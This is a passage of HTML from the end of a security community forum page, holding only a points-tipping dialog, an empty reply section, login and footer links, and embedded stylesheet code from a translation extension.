<h4 class=modal-title id=myModalLabel style=text-align:center>
积分打赏
</h4>
</div>
<div class=modal-body id=button-value>
<div style=text-align:center>
<div role=group>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
1分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
2分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
5分
</button>
</div>
<br>
<div style=margin-top:20px>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
8分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
10分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
20分
</button>
</div>
</div>
</div>
<div class=modal-footer id=confirm>
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
<button type=button class="btn btn-primary" id=reward_topic data-pk=14920>确定</button>
</div>
</div>
</div>
</div>
<div class="row box">
<ol class=breadcrumb>
<li class=active>0 条回复</li>
</ol>
<div class="box-container post-container">
<ul>
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
</ul>
</div>
</div>
<div class="row box" id=reply-box>
<div class="box-container clearfix">
<div class=reminder>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14920&amp;from_type=xianzhi"><strong>登录</strong></a> 后跟帖
</div>
</div>
</div>
</div>
</div>
</div>
<footer class=bs-docs-footer>
<div class="container text-center">
<div class=links>
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
<a href=https://xz.aliyun.com/connection>联系我们</a>
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
</div>
</div>
</footer>
<div id=waf_nc_block style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:.5rem;--nav-link-spacing-vertical:.5rem;--nav-link-spacing-horizontal:.5rem;--form-label-font-weight:var(--font-weight);--transition:.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media(min-width:576px){#mount{--font-size:17px}}@media(min-width:768px){#mount{--font-size:18px}}@media(min-width:992px){#mount{--font-size:19px}}@media(min-width:1200px){#mount{--font-size:20px}}@media(min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media(min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media(min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media(min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media(min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media(min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media(min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media(min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media(min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#f5f7f9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-sha